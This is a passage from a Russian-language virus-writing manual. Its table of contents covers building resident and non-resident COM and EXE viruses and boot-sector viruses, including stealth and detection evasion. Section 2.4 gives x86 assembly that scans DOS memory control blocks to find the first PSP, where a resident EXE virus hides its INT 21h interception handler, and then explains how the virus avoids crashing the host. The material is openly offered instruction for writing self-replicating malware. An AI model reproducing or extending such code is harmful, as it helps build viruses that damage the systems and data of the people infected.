- •Часть 1 . Com - вирусы ....................... 6
- •Глава 1 . Разработка нерезидентной
- •Глава 2 . Разработка резидентной
- •Часть 2 . Exe - вирусы ....................... 82
- •Глава 1 . Разработка нерезидентного
- •1.3 Как вирус может заразить
- •1.4 Работа вируса в
- •1.5 Начало работы ....................... 88
- •Глава 2 . Разработка резидентного
- •Часть 3 . Загрузочные вирусы ................. 143
- •Глава 1 . Разработка загрузочной
- •Часть 1 . Com - вирусы
- •Глава 1 . Разработка нерезидентной
- •1.5 Начало работы
- •1.6 Вирус получает управление
- •1.8 Запоминаем содержимое dta
- •1.9 Ищем подходящий файл
- •1.10 Читаем исходные три байта
- •1.11 Выполняем необходимые расчеты
- •1.12 Проверяем файл на зараженность
- •1.13 Заражаем com - программу
- •1.14 Восстанавливаем dta
- •1.16 Область данных вирусной программы
- •1.17 Завершаем запускающую программу
- •1.18 Текст нерезидентного com - вируса
- •1.19 Комментарии
- •1.20 Испытание вируса
- •Глава 2 . Разработка резидентной
- •2.3 Алгоритм работы резидентного
- •2.4 Заголовок вируса
- •2.5 Вирус начинает работу
- •2.6 Сохраняем регистры процессора
- •2.8 Запрашиваем блок памяти
- •2.9 Делаем вирус " незаметным "
- •2.10 Получаем вектора прерываний
- •2.11 Копируем вирусный код в память
- •2.12 Устанавливаем вектора прерываний
- •2.13 Пишем резидентную часть
- •2.14 Заражаем com - файл
- •2.15 Восстанавливаем регистры
- •2.16 Пишем обработчики прерываний
- •2.17 Обработчик Int 13h
- •2.18 Обработчик Int 21h
- •2.19 Обработчик Int 24h
- •2.20 Обработчик Int 2Fh
- •2.21 Обработчик Int 28h
- •2.22 Область данных вируса
- •2.23 Процедура идентификации command.Com
- •2.24 Завершаем программу
- •2.25 Текст резидентного com - вируса
- •2.26 Комментарии
- •2.27 Испытание вируса
- •Часть 2 . Exe - вирусы
- •Глава 1 . Разработка нерезидентного
- •1.1 Формат exe - файла на диске
- •1.5 Начало работы
- •1.6 Вирус получает управление
- •1.7 Ищем подходящий файл
- •1.8 Читаем заголовок файла
- •1.10 Заражаем exe - программу
- •1.11 Восстанавливаем dta
- •1.12 Восстанавливаем точку входа
- •1.13 Область данных вируса
- •1.14 Используемые процедуры
- •1.15 Работа завершена
- •Глава 2 . Разработка резидентного
- •2.1 Алгоритм работы резидентного
- •2.3 Как реализовать защиту от
- •2.4 Реализуем предложенный алгоритм
- •2.5 Пишем промежуточный обработчик
- •2.6 Защита от обнаружения вируса в файле
- •2.7 Несколько слов о вредных
- •Часть 3 . Загрузочные вирусы
- •Глава 1 . Разработка загрузочной
- •1.2 Понятие о загрузочных вирусах
- •1.3 Алгоритм работы загрузочного
- •1.5 Начало работы
- •1.6 Вирус получает управление
- •1.12 Используемые процедуры
- •1.13 Область данных вируса
- •1.16 Комментарии
- •1.17 Испытание вируса
2.4 Реализуем предложенный алгоритм
Как мы договорились,сначала следует найти PSP пер-
вой загруженной в память программы .Это можно сде-
лать следующим образом :
find_psp: push es ;Найдем первый
xor di,di ;PSP в памяти
xor ax,ax
to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
jae free_mem ;последний ?
cmp byte ptr es:[di],4dh
;Это - MCB -
;блок ?
jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh
;Следующий MCB
;корректен ?
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
;дует PSP ?
jne to_new_seg ;Нет - тогда он
;нас не интере-
;сует ...
mov first_psp,es ;Да - найдена
mov cx,es ;нужная нам
dec es_save ;область памяти
cmp es_save,cx ;А может, мы на-
;шли свой же
;PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h
Напомним, что PSP располагается в памяти сразу
вслед за MCB - блоком,выделенным операционной сис-
темой для загрузки программы, а первым байтом PSP
должно быть число 0CDh, что и используется в при-
веденном фрагменте .
Дополнительно следует рассмотреть следующую ситуа-
цию : обычно первым PSP в памяти является PSP ко-
мандного процессора COMMAND.COM . Но при некоторых
конфигурациях операционой системы (например, при
использовании WINDOWS 95 в режиме эмуляции MS DOS)
это правило иногда не соблюдается .Может случиться
так, что первой в файле AUTOEXEC.BAT для загрузки
указана нерезидентная EXE - программа, зараженная
нашим вирусом.При старте этой программы вирус фак-
тически отыщет ее же PSP и запишет туда текст про-
межуточного обработчика INT 21h . Далее программа
нерезидентно завершится, после чего занимаемая ею
память будет использована другими программами, по-
этому наш промежуточный обработчик будет затерт ,
и компьютер обязательно повиснет . Чтобы этого не
произошло, вирус проверяет, какой именно PSP был
найден первым, и если имела место описанная выше
ситуация, отказывается от заражения памяти .
В остальном работа фрагмента ясна .